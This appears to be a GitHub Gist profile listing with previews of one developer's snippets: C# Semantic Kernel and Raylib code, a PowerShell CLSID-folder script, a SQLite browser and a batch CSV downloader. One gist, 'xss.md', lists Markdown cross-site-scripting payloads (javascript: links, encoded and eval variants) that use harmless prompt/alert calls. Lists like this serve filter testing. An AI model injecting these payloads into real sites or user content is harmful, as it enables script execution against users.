Skip to content

Instantly share code, notes, and snippets.

@guillaC
guillaC / SemanticKernelOllama.cs
Last active June 28, 2025 23:49
Chat console using Spectre.Console and Semantic Kernel with Mistral via Ollama, including a function to list running processes
using Microsoft.SemanticKernel;
using Microsoft.SemanticKernel.ChatCompletion;
using Spectre.Console;
using System.ComponentModel;
using System.Diagnostics;
/// <summary>
/// Ce programme utilise Semantic Kernel avec un modèle Mistral local via Ollama.
/// Il inclut une fonction pour lister les processus en cours.
/// </summary>
@guillaC
guillaC / RedditChecker.cs
Created June 23, 2025 18:18
Checks whether a subreddit already exists or not.
using System.Globalization;
using System.Text;
class Program
{
static async Task Main()
{
var villes = new List<string>
{
"Moskva", "London", "Berlin", "Madrid", "Roma", "Paris", "București", "Wien",
@guillaC
guillaC / VideoCreator.cs
Last active April 22, 2024 19:43
Raylib Vidéo Creator with ffmpeg
using Raylib_cs;
using System.Diagnostics;
namespace AsciiI
{
public static class VideoCreator
{
public static List<Image> Images = new();
static readonly string FfmpegPath = @"Ressources/ffmpeg.exe";
@guillaC
guillaC / xss.md
Last active April 19, 2024 20:20
[test](javascript:prompt(1234))
[test](Javas&#99;ript:alert(1234&#41;)
[test](javascript://www.google.com%0Aalert(1234))
[test](javascript:prompt`1234`)
[test](javascript://www.google.com%0Aprompt(1234))
[test](javascript:eval(`prompt(1234)`))
[![test](?)](javascript:prompt(1234))
[test](javascript:Function('prompt(1234)')())
@guillaC
guillaC / SinScroll.cs
Created February 29, 2024 20:12
texture SinScroll with Raylib
static void SinScroll(float offsetX, List<Texture2D> texturesList)
{
int startX = screenWidth;
int startY = screenHeight / 2;
float frequency = 3.3f; // Fréquence de l'ondulation
float baseAmplitude = 110f; // Amplitude de base de l'ondulation
Raylib.BeginBlendMode(BlendMode.Alpha);
for (int i = 0; i < texturesList.Count; i++)
{
static string SelfDecompile()
{
string result = string.Empty;
string assemblyFilePath = System.Reflection.Assembly.GetExecutingAssembly().Location;
AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(assemblyFilePath);
// Trouver la classe Program
TypeDefinition programType = null;
foreach (TypeDefinition type in assembly.MainModule.Types)
@guillaC
guillaC / CreateSecretWindowsFolders.ps1
Last active August 17, 2023 20:20
This PowerShell script explores CLSID registry keys in "HKLM:\SOFTWARE\Classes\CLSID", creating directories based on these values. Directories are within a "folders" subfolder, named "CLSID.CLSID".
$registryPath = "HKLM:\SOFTWARE\Classes\CLSID"
$clsidKeys = Get-ChildItem -Path $registryPath
foreach ($clsidKey in $clsidKeys) {
$name = $clsidKey.PSChildName
$directoryPath = ".\folders\$name.$name"
if (-not (Test-Path -Path $directoryPath)) {
New-Item -Path $directoryPath -ItemType Directory
Write-Host "créé : $directoryPath"
@guillaC
guillaC / ReadAllSQLiteFiles.cs
Created April 12, 2023 22:39
This app allows you to browse all SQLite files on a machine. Note: it is not possible to read a file that is already in use, you would need to make a copy before reading.
using System.Data;
using System.Data.Entity.Core.Common.CommandTrees.ExpressionBuilder;
using System.Data.SQLite;
using Spectre.Console;
using Rule = Spectre.Console.Rule;
using Color = Spectre.Console.Color;
class ReadAllSQLiteFiles
{
static void Main(string[] args)
@guillaC
guillaC / Downloader.bat
Last active May 19, 2022 22:27
cavites downloader
@echo off
SET NB=1
:loop
IF %NB% GTR 95 GOTO concat
SET URL=https://www.georisques.gouv.fr/webappReport/ws/cavites/departements/%nb%/fiches.csv
SET FILE="./%NB%.csv"
ECHO Downloading from %URL% ..
powershell.exe -c "(New-Object Net.WebClient).DownloadFile('%URL%','%FILE%')"
SET /a NB=NB+1
GOTO loop
@guillaC
guillaC / ReduceNoiseAll.cs
Created December 22, 2021 21:51
Fiverr Order #FO6166BF3AA84
namespace ReduceNoiseAll
{
using System;
using ScriptPortal.Vegas;
using System.Windows.Forms;
using System.Collections.Generic;
public class EntryPoint
{
public void FromVegas(Vegas vegas)
{